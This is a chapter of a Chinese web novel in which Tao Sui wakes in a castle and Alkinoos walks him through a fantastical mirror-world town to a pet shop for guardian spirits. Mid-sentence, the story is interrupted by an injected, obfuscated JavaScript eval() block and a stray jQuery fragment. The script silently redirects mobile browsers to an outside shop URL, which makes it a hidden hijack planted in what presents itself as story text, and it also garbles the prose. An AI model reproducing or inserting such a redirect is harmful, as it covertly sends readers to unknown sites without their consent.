长夜在无声的静谧中度过。

    柔和的天光穿透窗台漫入屋内,撒在毛绒地毯上,照亮整间屋子。

    陶岁皱着眉将被子往脑袋上一闷,将自己裹紧进黑暗的被窝里隔绝了光亮,直到房门被轻轻叩响,才烦躁地坐起身。

    一头红发格外散乱,那双漂亮的眼眸还紧紧闭着,没有要睁开眼的意思。

    阿尔喀诺俄斯打开房门,看着床上坐着睡觉的鸡窝头,心里有些好笑。

    他靠近铺着柔软棉被的大床,伸手蹭了蹭陶岁的脸颊,被人一巴掌呼开,打了手背。

    陶岁烦躁地“啧”了一声,迷迷蒙蒙地抬头看了一眼站在身前的男人。脑子宕机了一瞬,才反应过来自己在哪里。

    他哼哼唧唧地说:“打到你的手了。”边说边从被子里伸出暖烘烘的手去牵阿尔喀诺俄斯的手,低头呼呼两下。

    好软。

    好可爱。

    阿尔喀诺俄斯看着陶岁想。

    他任由陶岁握着他的手翻来覆去,迷迷糊糊地看了一会儿,才把人从床上捞起来。

    陶岁被措不及防地被抱起来,脑子没反应过来,身体先诚实地搂住了人家脖颈。直到被带到洗漱室,等人走了,才惊醒。

    他看着镜子里,自己瞬间爆红的漂亮脸蛋,忍不住伸出双手拍了拍脸颊,试图让脸上的红晕消下去。

    耳朵也烫烫的,脖子也烫烫的。

    怎么感觉自己全身都红爆了?!

    陶岁很想叫几声,然后立马原地消失。

    阿镜刚刚抱他了?

    还是公主抱?

    到底是为什么?

    他看着镜子里的自己,心里对于阿尔喀诺俄斯的情感感到不确定,甚至连自己的情感都不确定。

    虽然他心里想着他们算是和好了,但和好到什么程度,他自己都不确定。

    现在还增加了一些莫名奇妙的感情。

    他就更加不知道该怎么办了。

    脸上的温度褪去,陶岁垂下眼眸,盯着水槽发呆,白皙的双手撑在洗手台上,良久才打开水龙头。

    温热的水流哗哗地流出,水汽氤氲花了镜面。陶岁盯着镜子里的自己,伸手接住温水朝脸上扑了几把,从架子上拿了没拆封过的洗漱用品,开始刷牙。

    阿尔喀诺俄斯再次回来的时候,陶岁已经彻底冷静下来,也把自己收拾干净,乖乖地站在那儿看着他。

    阿尔喀诺俄斯靠近他身边时,能看到他轻微地闪躲了一瞬。深蓝的眼眸一暗,没说什么,只是将洗漱台收拾收拾,用布擦干净台面。

    “走吧。”声音一如既往地淡漠。

    他一眼都没再看陶岁,率先走出了洗漱间。

    陶岁抿唇,默默地跟了上去。

    两人一前一后静默地穿过流光长廊,一步步走出幽深古堡。

    当真正踏出古堡大门的那一刻,陶岁脚步一顿,停下了。眼前的镜世界,和他想象中的完全不一样。

    昨夜透过窗户能看得出来,这个世界是有房屋,是有除了阿尔喀诺俄斯之外的人存在的,但他没想过整个镜世界会是这样梦幻的光景。

    整片镜墟是带着极致的童话色彩,糅合复古西幻的典雅轮廓,又拥有远超现世的未来高端科技。三种风格极致冲撞,却又完美契合。

    脚下琉璃光磁路面温润透亮,步步漾开银蓝光纹。远处丘陵覆着柔光草甸,上边儿开满了泛着光亮的花,花瓣细碎,风轻轻一吹,便落了满地。

    更远处,那片森林就像陶岁小时候在绘本上看的那样浓密,树木高大比直,枝叶间垂着粗细长短不一的藤蔓,偶有鸟儿从林间飞出,飞往更辽阔的天空。

    溪流穿出林间,水面泛着银蓝色的光,带着柔和光晕。

    这片看似古老又浪漫的土地,并不全是带有童话色彩的风景。

    从古堡往下俯视是带着童话气息的小镇。

    西幻雕花塔楼错落其间,古老魔法纹路流转微光,搭配着悬浮智能窗与自动净化光膜,古朴又超前。

    往天上看却能看到一座座漂浮起来的岛屿。

    岛屿之间连接着泛着银色光晕的星桥,上面穿梭着各式各样的飞梭机。每座星桥边也都停留着小型光舰,为了确保星桥的稳定运行。

    岛上的建筑更是充斥着现代与未来科技的结合,每隔一段距离,还坐落着西幻色彩的房屋。

    陶岁看得怔住了。

    他第一次见这样独特的世界。

    “很意外?”阿尔喀诺俄斯轻声问。

    他侧头去看陶岁漂亮的侧颜,观察着他的神情。

    “有点。”陶岁承认道,“和我想的不一样。”

    “你想的是什么样子的?”阿尔喀诺俄斯问道。

    陶岁侧头与他对视,“我以为这里会很荒凉。”

    阿尔喀诺俄斯听到他的话,点了下头,肯定了他的回答:“以前确实荒凉。”

    “镜墟最开始几乎到处都是碎片,”阿尔喀诺俄斯声音很淡,却又似乎带上了一些怀念,“后来我……和一个人一起把这里建了起来,就成了现在这个样子。”

    陶岁听着他的话一顿,问道:“谁啊?”

    “嗯?”

    “你说的那个人是谁?”陶岁抿了抿唇很轻地说,“你……现在要带我去见他吗?”

    阿尔喀诺俄斯沉默了。

    陶岁看着他,一直都没得到回应。

    “我……”可以不去吗?

    话还没问出口,就被阿尔喀诺俄斯打断了。

    “不是。”阿尔喀诺俄斯看着他否认道,“没有要带你去见他。”顿了顿又解释说,“他现在不在这里。”

    陶岁盯着他可怖的面容看了会儿,迟缓地点了点头,“哦”了一声问他:“那要去做什么?”

    阿尔喀诺俄斯闻言,垂眸看着那张漂亮的脸蛋,戴着黑色皮革手套的手轻轻抬起,朝他递来,动作温柔又绅士。

    “你对这里不熟悉,容易迷路。”他轻声解释,“跟着我。”

    陶岁垂眸看着那只修长干净的手,指尖微顿,脑海里还徘徊着刚刚那番对话,心里迟疑半刻,还是轻轻抬手搭了上去。

    手套的微凉触感透过掌心,落入了心底。

    阿尔喀诺俄斯看着那只修长好看

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809844|210797||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的手,握得紧了几分。

    有些事情他没法亲口和陶岁说出,但总有那么一天,陶岁都会知道的。

    阿尔喀诺俄斯牵着陶岁的手走下琉璃阶梯,踏上路面,离开了古堡腹地。

    沿途琉璃灵植缀慢星点,无声无息地围绕着他们,像是指引着两人去往童话镇的方向。

    童话小镇的样貌缓缓铺展在陶岁眼前,小镇房屋都是圆润可爱的童话木屋造型,尖顶铺着柔光琉璃瓦,墙面刻着浅淡的童话纹样,窗边缠绕着有独自生命力的藤蔓。

    每栋房屋都内嵌着隐形恒温能量板,街巷铺着感应浮空步道,街边路灯是智能识人的光影核,空中还时不时掠过无声的小型巡逻光舰。

    一切都带着西方童话小镇的浪漫复古,又有现世市井的安稳烟火。

    “这里好像乌托邦。”

    陶岁嘀咕的声音很轻,却还是被阿尔喀诺俄斯听到了。

    陶岁感受到牵着自己的那只手明显僵硬了一瞬,甚至把自己的手握得更紧了些。他侧头去看那人冷淡却英俊的侧脸,抿唇问他:“怎么了?有谁也说过这句话么?”

    阿尔喀诺俄斯沉默地牵着他又走了一段路,良久才低声开口:“算是吧。”

    “他说他想创造一个乌托邦,收留和他一样无家可归的人,就有了这里。”

    阿尔喀诺俄斯谈起过去、谈起那个人,不自觉多说了几句。

    陶岁听得不说话了。

    他说的是谁,陶岁心里都能猜的到。

    除了那个人,也不会有谁了。

    他漫无目的地被阿尔喀诺俄斯牵着走,漂亮的眼眸静静扫过童话镇的街巷,很快就被一间小店吸引。

    原木色的店铺门头圆润可爱,挂着暖光悬浮招牌。一侧是手绘的猫狗童话图案,一侧是流转科技纹路的镜面牌匾,写着“童话生灵宠物店”。

    店面窗户是落地透明的,暖光从窗户倾泻而出,与整条小镇风味完美契合,梦幻里带着烟火气息。

    从窗户往里望去,能看到许多可爱的毛绒团子,待在保温箱内。

    看起来,就是一家宠物店。

    “这里收留、养护的,都是小世界的生灵。”阿尔喀诺俄斯察觉到他的目光,轻声解释,“无数小世界都有各自专属的守护灵,维系位面秩序、稳固故事脉络。”

    “而这些守护灵,全都是以猫狗形态休养在这里。”

    阿尔喀诺俄斯边说,边带着陶岁走近宠物店,“我们到了。”

    说着,他推开了宠物店的玻璃门,暖融融的灵气扑面而来。

    店内陈设与陶岁待过的宠物店基本没什么区别,童话风的木质猫爬架、软垫窝巢错落摆放,还有些高科技的动物医疗机器。

    “镜主来了?”一位穿着围裙带着金丝眼镜的女人从里间走出来,看到陶岁的瞬间似乎有些惊讶,看回阿尔喀诺俄斯说:“这……”

    阿尔喀诺俄斯对她摇了摇头,女人了然,没再继续说什么。

    陶岁看着他们互动有些不解,垂头看向被阿镜紧握的手,有点想抽出来。

    从刚刚说起那个人的时候,就想了。